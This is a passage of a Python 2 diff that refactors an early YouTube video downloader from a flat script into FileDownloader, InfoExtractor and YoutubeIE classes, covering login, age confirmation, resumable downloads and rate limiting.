-	sys.stderr.write('* Video requires age confirmation but you did not provide an account.\n')
-	sys.stderr.write('* You provided the account data, but it is not valid.\n')
-	sys.stderr.write('* The connection was cut suddenly for some reason.\n')
-	sys.stderr.write('* YouTube changed their system, and the program no longer works.\n')
-	sys.stderr.write('\nTry to confirm you are able to view the video using a web browser.\n')
-	sys.stderr.write('Use the same video URL and account information, if needed, with this program.\n')
-	sys.stderr.write('When using a proxy, make sure http_proxy has http://host:port format.\n')
-	sys.stderr.write('Try again several times and contact me if the problem persists.\n')
-	sys.exit('\n')
-
-# Wrapper to create custom requests with typical headers
-def request_create(url, data=None):
-	retval = urllib2.Request(url)
-	if data is not None:
-		retval.add_data(data)
-	# Try to mimic Firefox, at least a little bit
-	retval.add_header('User-Agent', 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.11) Gecko/20071127 Firefox/2.0.0.11')
-	retval.add_header('Accept-Charset', 'ISO-8859-1,utf-8;q=0.7,*;q=0.7')
-	retval.add_header('Accept', 'text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5')
-	retval.add_header('Accept-Language', 'en-us,en;q=0.5')
-	return retval
-
-# Perform a request, process headers and return response
-def perform_request(url, data=None):
-	request = request_create(url, data)
-	response = urllib2.urlopen(request)
-	return response
-
-# Conditional print
-def cond_print(str):
-	global cmdl_opts
-	if not (cmdl_opts.quiet or cmdl_opts.get_url):
-		sys.stdout.write(str)
-		sys.stdout.flush()
-
-# Title string normalization
-def title_string_norm(title):
-	title = ''.join((x in string.ascii_letters or x in string.digits) and x or ' ' for x in title)
-	title = '_'.join(title.split())
-	title = title.lower()
-	return title
-
-# Generic download step
-def download_step(return_data_flag, step_title, step_error, url, post_data=None):
+std_headers = {
+	'User-Agent': 'Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.1.2) Gecko/20090729 Firefox/3.5.2',
+	'Accept-Charset': 'ISO-8859-1,utf-8;q=0.7,*;q=0.7',
+	'Accept': 'text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5',
+	'Accept-Language': 'en-us,en;q=0.5',
+}
+
+simple_title_chars = string.ascii_letters.decode('ascii') + string.digits.decode('ascii')
+
+def preferredencoding():
+	"""Get preferred encoding.
+
+	Returns the best encoding scheme for the system, based on
+	locale.getpreferredencoding() and some further tweaks.
+	"""
 	try:
-		cond_print('%s... ' % step_title)
-		data = perform_request(url, post_data).read()
-		cond_print('done.\n')
-		if return_data_flag:
-			return data
-		return None
-
-	except (urllib2.URLError, ValueError, httplib.HTTPException, TypeError, socket.error):
-		cond_print('failed.\n')
-		error_advice_exit(step_error)
-
-	except KeyboardInterrupt:
-		sys.exit('\n')
+		pref = locale.getpreferredencoding()
+		# Mac OSX systems have this problem sometimes
+		if pref == '':
+			return 'UTF-8'
+		return pref
+	except:
+		sys.stderr.write('WARNING: problem obtaining preferred encoding. Falling back to UTF-8.\n')
+		return 'UTF-8'
 
-# Generic extract step
-def extract_step(step_title, step_error, regexp, data):
-	try:
-		cond_print('%s... ' % step_title)
-		match = regexp.search(data)
-		
-		if match is None:
-			cond_print('failed.\n')
-			error_advice_exit(step_error)
-		
-		extracted_data = match.group(1)
-		cond_print('done.\n')
-		return extracted_data
+class DownloadError(Exception):
+	"""Download Error exception.
 	
-	except KeyboardInterrupt:
-		sys.exit('\n')
-
-# Calculate new block size based on previous block size
-def new_block_size(before, after, bytes):
-	new_min = max(bytes / 2.0, 1.0)
-	new_max = max(bytes * 2.0, 1.0)
-	dif = after - before
-	if dif < const_epsilon:
-		return int(new_max)
-	rate = bytes / dif
-	if rate > new_max:
-		return int(new_max)
-	if rate < new_min:
-		return int(new_min)
-	return int(rate)
-
-# Get optimum 1k exponent to represent a number of bytes
-def optimum_k_exp(num_bytes):
-	global const_1k
-	if num_bytes == 0:
-		return 0
-	return long(math.log(num_bytes, const_1k))
-
-# Get optimum representation of number of bytes
-def format_bytes(num_bytes):
-	global const_1k
-	try:
-		exp = optimum_k_exp(num_bytes)
-		suffix = 'bkMGTPEZY'[exp]
-		if exp == 0:
-			return '%s%s' % (num_bytes, suffix)
-		converted = float(num_bytes) / float(const_1k**exp)
+	This exception may be thrown by FileDownloader objects if they are not
+	configured to continue on errors. They will contain the appropriate
+	error message.
+	"""
+	pass
+
+class SameFileError(Exception):
+	"""Same File exception.
+
+	This exception will be thrown by FileDownloader objects if they detect
+	multiple files would have to be downloaded to the same file on disk.
+	"""
+	pass
+
+class PostProcessingError(Exception):
+	"""Post Processing exception.
+
+	This exception may be raised by PostProcessor's .run() method to
+	indicate an error in the postprocessing task.
+	"""
+	pass
+
+class UnavailableFormatError(Exception):
+	"""Unavailable Format exception.
+
+	This exception will be thrown when a video is requested
+	in a format that is not available for that video.
+	"""
+	pass
+
+class ContentTooShortError(Exception):
+	"""Content Too Short exception.
+
+	This exception may be raised by FileDownloader objects when a file they
+	download is too small for what the server announced first, indicating
+	the connection was probably interrupted.
+	"""
+	# Both in bytes
+	downloaded = None
+	expected = None
+
+	def __init__(self, downloaded, expected):
+		self.downloaded = downloaded
+		self.expected = expected
+
+class FileDownloader(object):
+	"""File Downloader class.
+
+	File downloader objects are the ones responsible of downloading the
+	actual video file and writing it to disk if the user has requested
+	it, among some other tasks. In most cases there should be one per
+	program. As, given a video URL, the downloader doesn't know how to
+	extract all the needed information, task that InfoExtractors do, it
+	has to pass the URL to one of them.
+
+	For this, file downloader objects have a method that allows
+	InfoExtractors to be registered in a given order. When it is passed
+	a URL, the file downloader handles it to the first InfoExtractor it
+	finds that reports being able to handle it. The InfoExtractor extracts
+	all the information about the video or videos the URL refers to, and
+	asks the FileDownloader to process the video information, possibly
+	downloading the video.
+
+	File downloaders accept a lot of parameters. In order not to saturate
+	the object constructor with arguments, it receives a dictionary of
+	options instead. These options are available through the params
+	attribute for the InfoExtractors to use. The FileDownloader also
+	registers itself as the downloader in charge for the InfoExtractors
+	that are added to it, so this is a "mutual registration".
+
+	Available options:
+
+	username:	Username for authentication purposes.
+	password:	Password for authentication purposes.
+	usenetrc:	Use netrc for authentication instead.
+	quiet:		Do not print messages to stdout.
+	forceurl:	Force printing final URL.
+	forcetitle:	Force printing title.
+	simulate:	Do not download the video files.
+	format:		Video format code.
+	outtmpl:	Template for output names.
+	ignoreerrors:	Do not stop on download errors.
+	ratelimit:	Download speed limit, in bytes/sec.
+	nooverwrites:	Prevent overwriting files.
+	continuedl:	Try to continue downloads if possible.
+	"""
+
+	params = None
+	_ies = []
+	_pps = []
+	_download_retcode = None
+
+	def __init__(self, params):
+		"""Create a FileDownloader object with the given options."""
+		self._ies = []
+		self._pps = []
+		self._download_retcode = 0
+		self.params = params
+	
+	@staticmethod
+	def pmkdir(filename):
+		"""Create directory components in filename. Similar to Unix "mkdir -p"."""
+		components = filename.split(os.sep)
+		aggregate = [os.sep.join(components[0:x]) for x in xrange(1, len(components))]
+		aggregate = ['%s%s' % (x, os.sep) for x in aggregate] # Finish names with separator
+		for dir in aggregate:
+			if not os.path.exists(dir):
+				os.mkdir(dir)
+	
+	@staticmethod
+	def format_bytes(bytes):
+		if bytes is None:
+			return 'N/A'
+		if type(bytes) is str:
+			bytes = float(bytes)
+		if bytes == 0.0:
+			exponent = 0
+		else:
+			exponent = long(math.log(bytes, 1024.0))
+		suffix = 'bkMGTPEZY'[exponent]
+		converted = float(bytes) / float(1024**exponent)
 		return '%.2f%s' % (converted, suffix)
-	except IndexError:
-		sys.exit('Error: internal error formatting number of bytes.')
-
-# Calculate ETA and return it in string format as MM:SS
-def calc_eta(start, now, total, current):
-	dif = now - start
-	if current == 0 or dif < const_epsilon:
-		return '--:--'
-	rate = float(current) / dif
-	eta = long((total - current) / rate)
-	(eta_mins, eta_secs) = divmod(eta, 60)
-	if eta_mins > 99:
-		return '--:--'
-	return '%02d:%02d' % (eta_mins, eta_secs)
-
-# Calculate speed and return it in string format
-def calc_speed(start, now, bytes):
-	dif = now - start
-	if bytes == 0 or dif < const_epsilon:
-		return 'N/A b'
-	return format_bytes(float(bytes) / dif)
-
-
-# Title string minimal transformation
-def title_string_touch(title):
-	return title.replace(os.sep, '%')
-
-# Create the command line options parser and parse command line
-cmdl_usage = 'usage: %prog [options] video_url'
-cmdl_version = '2008.01.24'
-cmdl_parser = optparse.OptionParser(usage=cmdl_usage, version=cmdl_version, conflict_handler='resolve')
-cmdl_parser.add_option('-h', '--help', action='help', help='print this help text and exit')
-cmdl_parser.add_option('-v', '--version', action='version', help='print program version and exit')
-cmdl_parser.add_option('-u', '--username', dest='username', metavar='USERNAME', help='account username')
-cmdl_parser.add_option('-p', '--password', dest='password', metavar='PASSWORD', help='account password')
-cmdl_parser.add_option('-o', '--output', dest='outfile', metavar='FILE', help='output video file name')
-cmdl_parser.add_option('-q', '--quiet', action='store_true', dest='quiet', help='activates quiet mode')
-cmdl_parser.add_option('-s', '--simulate', action='store_true', dest='simulate', help='do not download video')
-cmdl_parser.add_option('-t', '--title', action='store_true', dest='use_title', help='use title in file name')
-cmdl_parser.add_option('-l', '--literal', action='store_true', dest='use_literal', help='use literal title in file name')
-cmdl_parser.add_option('-n', '--netrc', action='store_true', dest='use_netrc', help='use .netrc authentication data')
-cmdl_parser.add_option('-g', '--get-url', action='store_true', dest='get_url', help='print final video URL only')
-cmdl_parser.add_option('-2', '--title-too', action='store_true', dest='get_title', help='used with -g, print title too')
-(cmdl_opts, cmdl_args) = cmdl_parser.parse_args()
-
-# Set socket timeout
-socket.setdefaulttimeout(const_timeout)
-
-# Get video URL
-if len(cmdl_args) != 1:
-	cmdl_parser.print_help()
-	sys.exit('\n')
-video_url_cmdl = cmdl_args[0]
-
-# Verify video URL format and convert to "standard" format
-video_url_mo = const_video_url_re.match(video_url_cmdl)
-if video_url_mo is None:
-	sys.exit('Error: URL does not seem to be a youtube video URL. If it is, report a bug.')
-video_url_id = video_url_mo.group(2)
-video_url = const_video_url_str % video_url_id
-
-# Check conflicting options
-if cmdl_opts.outfile is not None and (cmdl_opts.simulate or cmdl_opts.get_url):
-	sys.stderr.write('Warning: video file name given but will not be used.\n')
-
-if cmdl_opts.outfile is not None and (cmdl_opts.use_title or cmdl_opts.use_literal):
-	sys.exit('Error: using the video title conflicts with using a given file name.')
-
-if cmdl_opts.use_title and cmdl_opts.use_literal:
-	sys.exit('Error: cannot use title and literal title at the same time.')
-
-if cmdl_opts.quiet and cmdl_opts.get_url:
-	sys.exit('Error: cannot be quiet and print final URL at the same time.')
-
-# Incorrect option formatting
-if cmdl_opts.username is None and cmdl_opts.password is not None:
-	sys.exit('Error: password give but username is missing.')
-
-if cmdl_opts.use_netrc and (cmdl_opts.username is not None or cmdl_opts.password is not None):
-	sys.exit('Error: cannot use netrc and username/password at the same time.')
-
-if cmdl_opts.get_url is None and cmdl_opts.get_title is not None:
-	sys.exit('Error: getting title requires getting URL.')
-
-# Get account information if any
-account_username = None
-account_password = None
 
-if cmdl_opts.use_netrc:
-	try:
-		info = netrc.netrc().authenticators('youtube')
-		if info is None:
-			sys.exit('Error: no authenticators for machine youtube.')
-		account_username = info[0]
-		account_password = info[2]
-	except IOError:
-		sys.exit('Error: unable to read .netrc file.')
-	except netrc.NetrcParseError:
-		sys.exit('Error: unable to parse .netrc file.')
-else:
-	account_username = cmdl_opts.username
-	if account_username is not None:
-		if cmdl_opts.password is None:
-			account_password = getpass.getpass('Type YouTube password and press return: ')
+	@staticmethod
+	def calc_percent(byte_counter, data_len):
+		if data_len is None:
+			return '---.-%'
+		return '%6s' % ('%3.1f%%' % (float(byte_counter) / float(data_len) * 100.0))
+
+	@staticmethod
+	def calc_eta(start, now, total, current):
+		if total is None:
+			return '--:--'
+		dif = now - start
+		if current == 0 or dif < 0.001: # One millisecond
+			return '--:--'
+		rate = float(current) / dif
+		eta = long((float(total) - float(current)) / rate)
+		(eta_mins, eta_secs) = divmod(eta, 60)
+		if eta_mins > 99:
+			return '--:--'
+		return '%02d:%02d' % (eta_mins, eta_secs)
+
+	@staticmethod
+	def calc_speed(start, now, bytes):
+		dif = now - start
+		if bytes == 0 or dif < 0.001: # One millisecond
+			return '%10s' % '---b/s'
+		return '%10s' % ('%s/s' % FileDownloader.format_bytes(float(bytes) / dif))
+
+	@staticmethod
+	def best_block_size(elapsed_time, bytes):
+		new_min = max(bytes / 2.0, 1.0)
+		new_max = min(max(bytes * 2.0, 1.0), 4194304) # Do not surpass 4 MB
+		if elapsed_time < 0.001:
+			return long(new_max)
+		rate = bytes / elapsed_time
+		if rate > new_max:
+			return long(new_max)
+		if rate < new_min:
+			return long(new_min)
+		return long(rate)
+
+	@staticmethod
+	def parse_bytes(bytestr):
+		"""Parse a string indicating a byte quantity into a long integer."""
+		matchobj = re.match(r'(?i)^(\d+(?:\.\d+)?)([kMGTPEZY]?)$', bytestr)
+		if matchobj is None:
+			return None
+		number = float(matchobj.group(1))
+		multiplier = 1024.0 ** 'bkmgtpezy'.index(matchobj.group(2).lower())
+		return long(round(number * multiplier))
+
+	@staticmethod
+	def verify_url(url):
+		"""Verify a URL is valid and data could be downloaded. Return real data URL."""
+		request = urllib2.Request(url, None, std_headers)
+		data = urllib2.urlopen(request)
+		data.read(1)
+		url = data.geturl()
+		data.close()
+		return url
+
+	def add_info_extractor(self, ie):
+		"""Add an InfoExtractor object to the end of the list."""
+		self._ies.append(ie)
+		ie.set_downloader(self)
+	
+	def add_post_processor(self, pp):
+		"""Add a PostProcessor object to the end of the chain."""
+		self._pps.append(pp)
+		pp.set_downloader(self)
+	
+	def to_stdout(self, message, skip_eol=False):
+		"""Print message to stdout if not in quiet mode."""
+		if not self.params.get('quiet', False):
+			print (u'%s%s' % (message, [u'\n', u''][skip_eol])).encode(preferredencoding()),
+			sys.stdout.flush()
+	
+	def to_stderr(self, message):
+		"""Print message to stderr."""
+		print >>sys.stderr, message.encode(preferredencoding())
+	
+	def fixed_template(self):
+		"""Checks if the output template is fixed."""
+		return (re.search(ur'(?u)%\(.+?\)s', self.params['outtmpl']) is None)
+
+	def trouble(self, message=None):
+		"""Determine action to take when a download problem appears.
+
+		Depending on if the downloader has been configured to ignore
+		download errors or not, this method may throw an exception or
+		not when errors are found, after printing the message.
+		"""
+		if message is not None:
+			self.to_stderr(message)
+		if not self.params.get('ignoreerrors', False):
+			raise DownloadError(message)
+		self._download_retcode = 1
+
+	def slow_down(self, start_time, byte_counter):
+		"""Sleep if the download speed is over the rate limit."""
+		rate_limit = self.params.get('ratelimit', None)
+		if rate_limit is None or byte_counter == 0:
+			return
+		now = time.time()
+		elapsed = now - start_time
+		if elapsed <= 0.0:
+			return
+		speed = float(byte_counter) / elapsed
+		if speed > rate_limit:
+			time.sleep((byte_counter - rate_limit * (now - start_time)) / rate_limit)
+
+	def report_destination(self, filename):
+		"""Report destination filename."""
+		self.to_stdout(u'[download] Destination: %s' % filename)
+	
+	def report_progress(self, percent_str, data_len_str, speed_str, eta_str):
+		"""Report download progress."""
+		self.to_stdout(u'\r[download] %s of %s at %s ETA %s' %
+				(percent_str, data_len_str, speed_str, eta_str), skip_eol=True)
+
+	def report_resuming_byte(self, resume_len):
+		"""Report attemtp to resume at given byte."""
+		self.to_stdout(u'[download] Resuming download at byte %s' % resume_len)
+	
+	def report_file_already_downloaded(self, file_name):
+		"""Report file has already been fully downloaded."""
+		self.to_stdout(u'[download] %s has already been downloaded' % file_name)
+	
+	def report_unable_to_resume(self):
+		"""Report it was impossible to resume download."""
+		self.to_stdout(u'[download] Unable to resume')
+	
+	def report_finish(self):
+		"""Report download finished."""
+		self.to_stdout(u'')
+
+	def process_info(self, info_dict):
+		"""Process a single dictionary returned by an InfoExtractor."""
+		# Do nothing else if in simulate mode
+		if self.params.get('simulate', False):
+			try:
+				info_dict['url'] = self.verify_url(info_dict['url'])
+			except (OSError, IOError, urllib2.URLError, httplib.HTTPException, socket.error), err:
+				raise UnavailableFormatError
+
+			# Forced printings
+			if self.params.get('forcetitle', False):
+				print info_dict['title'].encode(preferredencoding())
+			if self.params.get('forceurl', False):
+				print info_dict['url'].encode(preferredencoding())
+
+			return
+			
+		try:
+			template_dict = dict(info_dict)
+			template_dict['epoch'] = unicode(long(time.time()))
+			filename = self.params['outtmpl'] % template_dict
+		except (ValueError, KeyError), err:
+			self.trouble('ERROR: invalid output template or system charset: %s' % str(err))
+		if self.params['nooverwrites'] and os.path.exists(filename):
+			self.to_stderr(u'WARNING: file exists: %s; skipping' % filename)
+			return
+
+		try:
+			self.pmkdir(filename)
+		except (OSError, IOError), err:
+			self.trouble('ERROR: unable to create directories: %s' % str(err))
+			return
+
+		try:
+			success = self._do_download(filename, info_dict['url'])
+		except (OSError, IOError), err:
+			raise UnavailableFormatError
+		except (urllib2.URLError, httplib.HTTPException, socket.error), err:
+			self.trouble('ERROR: unable to download video data: %s' % str(err))
+			return
+		except (ContentTooShortError, ), err:
+			self.trouble('ERROR: content too short (expected %s bytes and served %s)' % (err.expected, err.downloaded))
+			return
+
+		if success:
+			try:
+				self.post_process(filename, info_dict)
+			except (PostProcessingError), err:
+				self.trouble('ERROR: postprocessing: %s' % str(err))
+				return
+
+	def download(self, url_list):
+		"""Download a given list of URLs."""
+		if len(url_list) > 1 and self.fixed_template():
+			raise SameFileError(self.params['outtmpl'])
+
+		for url in url_list:
+			suitable_found = False
+			for ie in self._ies:
+				# Go to next InfoExtractor if not suitable
+				if not ie.suitable(url):
+					continue
+
+				# Suitable InfoExtractor found
+				suitable_found = True
+
+				# Extract information from URL and process it
+				ie.extract(url)
+
+				# Suitable InfoExtractor had been found; go to next URL
+				break
+
+			if not suitable_found:
+				self.trouble('ERROR: no suitable InfoExtractor: %s' % url)
+
+		return self._download_retcode
+
+	def post_process(self, filename, ie_info):
+		"""Run the postprocessing chain on the given file."""
+		info = dict(ie_info)
+		info['filepath'] = filename
+		for pp in self._pps:
+			info = pp.run(info)
+			if info is None:
+				break
+	
+	def _do_download(self, filename, url):
+		stream = None
+		open_mode = 'ab'
+
+		basic_request = urllib2.Request(url, None, std_headers)
+		request = urllib2.Request(url, None, std_headers)
+
+		# Attempt to resume download with "continuedl" option
+		if os.path.isfile(filename):
+			resume_len = os.path.getsize(filename)
 		else:
-			account_password = cmdl_opts.password
-
-# Get output file name 
-if cmdl_opts.outfile is None:
-	video_filename = '%s.flv' % video_url_id
-else:
-	video_filename = cmdl_opts.outfile
-
-# Install cookie and proxy handlers
-urllib2.install_opener(urllib2.build_opener(urllib2.ProxyHandler()))
-urllib2.install_opener(urllib2.build_opener(urllib2.HTTPCookieProcessor()))
-
-# Log in and confirm age if needed
-if account_username is not None:
-	url = const_login_url_str % video_url_id
-	post = const_login_post_str % (video_url_id, account_username, account_password)
-	download_step(False, 'Logging in', 'unable to log in', url, post)
-
-	url = const_age_url_str % video_url_id
-	post = const_age_post_str % video_url_id
-	download_step(False, 'Confirming age', 'unable to confirm age', url, post)
-
-# Retrieve video webpage
-video_webpage = download_step(True, 'Retrieving video webpage', 'unable to retrieve video webpage', video_url)
-
-# Extract video title if needed
-if cmdl_opts.use_title or cmdl_opts.use_literal or cmdl_opts.get_title:
-	video_title = extract_step('Extracting video title', 'unable to extract video title', const_video_title_re, video_webpage)
-
-# Extract needed video URL parameters
-video_url_t_param = extract_step('Extracting URL "t" parameter', 'unable to extract URL "t" parameter', const_url_t_param_re, video_webpage)
-video_url_real = const_video_url_real_str % (video_url_id, video_url_t_param)
-
-# Rebuild filename if needed
-if cmdl_opts.use_title or cmdl_opts.use_literal:
-	if cmdl_opts.use_title:
-		prefix = title_string_norm(video_title)
-	else:
-		prefix = title_string_touch(video_title)
-	video_filename = '%s-%s.flv' % (prefix, video_url_id)
-
-# Check name
-if not video_filename.lower().endswith('.flv'):
-	sys.stderr.write('Warning: video file name does not end in .flv\n')
-
-# Retrieve video data
-try:
-	cond_print('Requesting video file... ')
-	video_data = perform_request(video_url_real)
-	cond_print('done.\n')
-	cond_print('Video data found at %s\n' % video_data.geturl())
-
-	if cmdl_opts.get_title:
-		print video_title
-
-	if cmdl_opts.get_url:
-		print video_data.geturl()
-
-	if cmdl_opts.simulate or cmdl_opts.get_url:
-		sys.exit()
+			resume_len = 0
+		if self.params['continuedl'] and resume_len != 0:
+			self.report_resuming_byte(resume_len)
+			request.add_header('Range','bytes=%d-' % resume_len)
+
+		# Establish connection
+		try:
+			data = urllib2.urlopen(request)
+		except (urllib2.HTTPError, ), err:
+			if err.code != 416: #  416 is 'Requested range not satisfiable'
+				raise
+			data = urllib2.urlopen(basic_request)
+			content_length = data.info()['Content-Length']
+			if content_length is not None and long(content_length) == resume_len:
+				self.report_file_already_downloaded(filename)
+				return True
+			else:
+				self.report_unable_to_resume()
+				open_mode = 'wb'
+
+		data_len = data.info().get('Content-length', None)
+		data_len_str = self.format_bytes(data_len)
+		byte_counter = 0
+		block_size = 1024
+		start = time.time()
+		while True:
+			# Download and write
+			before = time.time()
+			data_block = data.read(block_size)
+			after = time.time()
+			data_block_len = len(data_block)
+			if data_block_len == 0:
+				break
+			byte_counter += data_block_len
+
+			# Open file just in time
+			if stream is None:
+				try:
+					stream = open(filename, open_mode)
+					self.report_destination(filename)
+				except (OSError, IOError), err:
+					self.trouble('ERROR: unable to open for writing: %s' % str(err))
+					return False
+			stream.write(data_block)
+			block_size = self.best_block_size(after - before, data_block_len)
+
+			# Progress message
+			percent_str = self.calc_percent(byte_counter, data_len)
+			eta_str = self.calc_eta(start, time.time(), data_len, byte_counter)
+			speed_str = self.calc_speed(start, time.time(), byte_counter)
+			self.report_progress(percent_str, data_len_str, speed_str, eta_str)
+
+			# Apply rate limit
+			self.slow_down(start, byte_counter)
+
+		self.report_finish()
+		if data_len is not None and str(byte_counter) != data_len:
+			raise ContentTooShortError(byte_counter, long(data_len))
+		return True
+
+class InfoExtractor(object):
+	"""Information Extractor class.
+
+	Information extractors are the classes that, given a URL, extract
+	information from the video (or videos) the URL refers to. This
+	information includes the real video URL, the video title and simplified
+	title, author and others. The information is stored in a dictionary
+	which is then passed to the FileDownloader. The FileDownloader
+	processes this information possibly downloading the video to the file
+	system, among other possible outcomes. The dictionaries must include
+	the following fields:
+
+	id:		Video identifier.
+	url:		Final video URL.
+	uploader:	Nickname of the video uploader.
+	title:		Literal title.
+	stitle:		Simplified title.
+	ext:		Video filename extension.
+
+	Subclasses of this one should re-define the _real_initialize() and
+	_real_extract() methods, as well as the suitable() static method.
+	Probably, they should also be instantiated and added to the main
+	downloader.
+	"""
+
+	_ready = False
+	_downloader = None
+
+	def __init__(self, downloader=None):
+		"""Constructor. Receives an optional downloader."""
+		self._ready = False
+		self.set_downloader(downloader)
+
+	@staticmethod
+	def suitable(url):
+		"""Receives a URL and returns True if suitable for this IE."""
+		return False
+
+	def initialize(self):
+		"""Initializes an instance (authentication, etc)."""
+		if not self._ready:
+			self._real_initialize()
+			self._ready = True
+
+	def extract(self, url):
+		"""Extracts URL information and returns it in list of dicts."""
+		self.initialize()
+		return self._real_extract(url)
+
+	def set_downloader(self, downloader):
+		"""Sets the downloader for this IE."""
+		self._downloader = downloader
+	
+	def _real_initialize(self):
+		"""Real initialization process. Redefine in subclasses."""
+		pass
+
+	def _real_extract(self, url):
+		"""Real extraction process. Redefine in subclasses."""
+		pass
+
+class YoutubeIE(InfoExtractor):
+	"""Information extractor for youtube.com."""
+
+	_VALID_URL = r'^((?:http://)?(?:\w+\.)?youtube\.com/(?:(?:v/)|(?:(?:watch(?:\.php)?)?\?(?:.+&)?v=)))?([0-9A-Za-z_-]+)(?(1).+)?$'
+	_LANG_URL = r'http://uk.youtube.com/?hl=en&persist_hl=1&gl=US&persist_gl=1&opt_out_ackd=1'
+	_LOGIN_URL = 'http://www.youtube.com/signup?next=/&gl=US&hl=en'
+	_AGE_URL = 'http://www.youtube.com/verify_age?next_url=/&gl=US&hl=en'
+	_NETRC_MACHINE = 'youtube'
+	_available_formats = ['22', '35', '18', '5', '17', '13', None] # listed in order of priority for -b flag
+	_video_extensions = {
+		'13': '3gp',
+		'17': 'mp4',
+		'18': 'mp4',
+		'22': 'mp4',
+	}
+
+	@staticmethod
+	def suitable(url):
+		return (re.match(YoutubeIE._VALID_URL, url) is not None)
+
+	@staticmethod
+	def htmlentity_transform(matchobj):
+		"""Transforms an HTML entity to a Unicode character."""
+		entity = matchobj.group(1)
+
+		# Known non-numeric HTML entity
+		if entity in htmlentitydefs.name2codepoint:
+			return unichr(htmlentitydefs.name2codepoint[entity])
+
+		# Unicode character
+		mobj = re.match(ur'(?u)#(x?\d+)', entity)
+		if mobj is not None:
+			numstr = mobj.group(1)
+			if numstr.startswith(u'x'):
+				base = 16
+				numstr = u'0%s' % numstr
+			else:
+				base = 10
+			return unichr(long(numstr, base))
+
+		# Unknown entity in name, return its literal representation
+		return (u'&%s;' % entity)
+
+	def report_lang(self):
+		"""Report attempt to set language."""
+		self._downloader.to_stdout(u'[youtube] Setting language')
+
+	def report_login(self):
+		"""Report attempt to log in."""
+		self._downloader.to_stdout(u'[youtube] Logging in')
+	
+	def report_age_confirmation(self):
+		"""Report attempt to confirm age."""
+		self._downloader.to_stdout(u'[youtube] Confirming age')
+	
+	def report_video_info_webpage_download(self, video_id):
+		"""Report attempt to download video info webpage."""
+		self._downloader.to_stdout(u'[youtube] %s: Downloading video info webpage' % video_id)
+	
+	def report_information_extraction(self, video_id):
+		"""Report attempt to extract video information."""
+		self._downloader.to_stdout(u'[youtube] %s: Extracting video information' % video_id)
+	
+	def report_unavailable_format(self, video_id, format):
+		"""Report extracted video URL."""
+		self._downloader.to_stdout(u'[youtube] %s: Format %s not available' % (video_id, format))
+	
+	def _real_initialize(self):
+		if self._downloader is None:
+			return
+
+		username = None
+		password = None
+		downloader_params = self._downloader.params
+
+		# Attempt to use provided username and password or .netrc data
+		if downloader_params.get('username', None) is not None:
+			username = downloader_params['username']
+			password = downloader_params['password']
+		elif downloader_params.get('usenetrc', False):
+			try:
+				info = netrc.netrc().authenticators(self._NETRC_MACHINE)
+				if info is not None:
+					username = info[0]
+					password = info[2]
+				else:
+					raise netrc.NetrcParseError('No authenticators for %s' % self._NETRC_MACHINE)
+			except (IOError, netrc.NetrcParseError), err:
+				self._downloader.to_stderr(u'WARNING: parsing .netrc: %s' % str(err))
+				return
+
+		# Set language
+		request = urllib2.Request(self._LANG_URL, None, std_headers)
+		try:
+			self.report_lang()
+			urllib2.urlopen(request).read()
+		except (urllib2.URLError, httplib.HTTPException, socket.error), err:
+			self._downloader.to_stderr(u'WARNING: unable to set language: %s' % str(err))
+			return
+
+		# No authentication to be performed
+		if username is None:
+			return
+
+		# Log in
+		login_form = {
+				'current_form': 'loginForm',
+				'next':		'/',
+				'action_login':	'Log In',
+				'username':	username,
+				'password':	password,
+				}
+		request = urllib2.Request(self._LOGIN_URL, urllib.urlencode(login_form), std_headers)
+		try:
+			self.report_login()
+			login_results = urllib2.urlopen(request).read()
+			if re.search(r'(?i)<form[^>]* name="loginForm"', login_results) is not None:
+				self._downloader.to_stderr(u'WARNING: unable to log in: bad username or password')
+				return
+		except (urllib2.URLError, httplib.HTTPException, socket.error), err:
+			self._downloader.to_stderr(u'WARNING: unable to log in: %s' % str(err))
+			return
+	
+		# Confirm age
+		age_form = {
+				'next_url':		'/',
+				'action_confirm':	'Confirm',
+				}
+		request = urllib2.Request(self._AGE_URL, urllib.urlencode(age_form), std_headers)
+		try:
+			self.report_age_confirmation()
+			age_results = urllib2.urlopen(request).read()
+		except (urllib2.URLError, httplib.HTTPException, socket.error), err:
+			self._downloader.trouble(u'ERROR: unable to confirm age: %s' % str(err))
+			return
+
+	def _real_extract(self, url):
+		# Extract video id from URL
+		mobj = re.match(self._VALID_URL, url)
+		if mobj is None:
+			self._downloader.trouble(u'ERROR: invalid URL: %s' % url)
+			return
+		video_id = mobj.group(2)
+
+		# Downloader parameters
+		best_quality = False
+		format_param = None
+		quality_index = 0
+		if self._downloader is not None:
+			params = self._downloader.params
+			format_param = params.get('format', None)
+			if format_param == '0':
+				format_param = self._available_formats[quality_index]
+				best_quality = True
+
+		while True:
+			# Extension
+			video_extension = self._video_extensions.get(format_param, 'flv')
+
+			# Get video info
+			video_info_url = 'http://www.youtube.com/get_video_info?&video_id=%s&el=detailpage&ps=default&eurl=&gl=US&hl=en' % video_id
+			request = urllib2.Request(video_info_url, None, std_headers)
+			try:
+				self.report_video_info_webpage_download(video_id)
+				video_info_webpage = urllib2.urlopen(request).read()
+			except (urllib2.URLError, httplib.HTTPException, socket.error), err:
+				self._downloader.trouble(u'ERROR: unable to download video info webpage: %s' % str(err))
+				return
+			self.report_information_extraction(video_id)
+
+			# "t" param
+			mobj = re.search(r'(?m)&token=([^&]+)(?:&|$)', video_info_webpage)
+			if mobj is None:
+				# Attempt to see if YouTube has issued an error message
+				mobj = re.search(r'(?m)&reason=([^&]+)(?:&|$)', video_info_webpage)
+				if mobj is None:
+					self._downloader.trouble(u'ERROR: unable to extract "t" parameter for unknown reason')
+					stream = open('reportme-ydl-%s.dat' % time.time(), 'wb')
+					stream.write(video_info_webpage)
+					stream.close()
+				else:
+					reason = urllib.unquote_plus(mobj.group(1))
+					self._downloader.trouble(u'ERROR: YouTube said: %s' % reason.decode('utf-8'))
+				return
+			token = urllib.unquote(mobj.group(1))
+			video_real_url = 'http://www.youtube.com/get_video?video_id=%s&t=%s&eurl=&el=detailpage&ps=default&gl=US&hl=en' % (video_id, token)
+			if format_param is not None:
+				video_real_url = '%s&fmt=%s' % (video_real_url, format_param)
+
+			# uploader
+			mobj = re.search(r'(?m)&author=([^&]+)(?:&|$)', video_info_webpage)
+			if mobj is None:
+				self._downloader.trouble(u'ERROR: unable to extract uploader nickname')
+				return
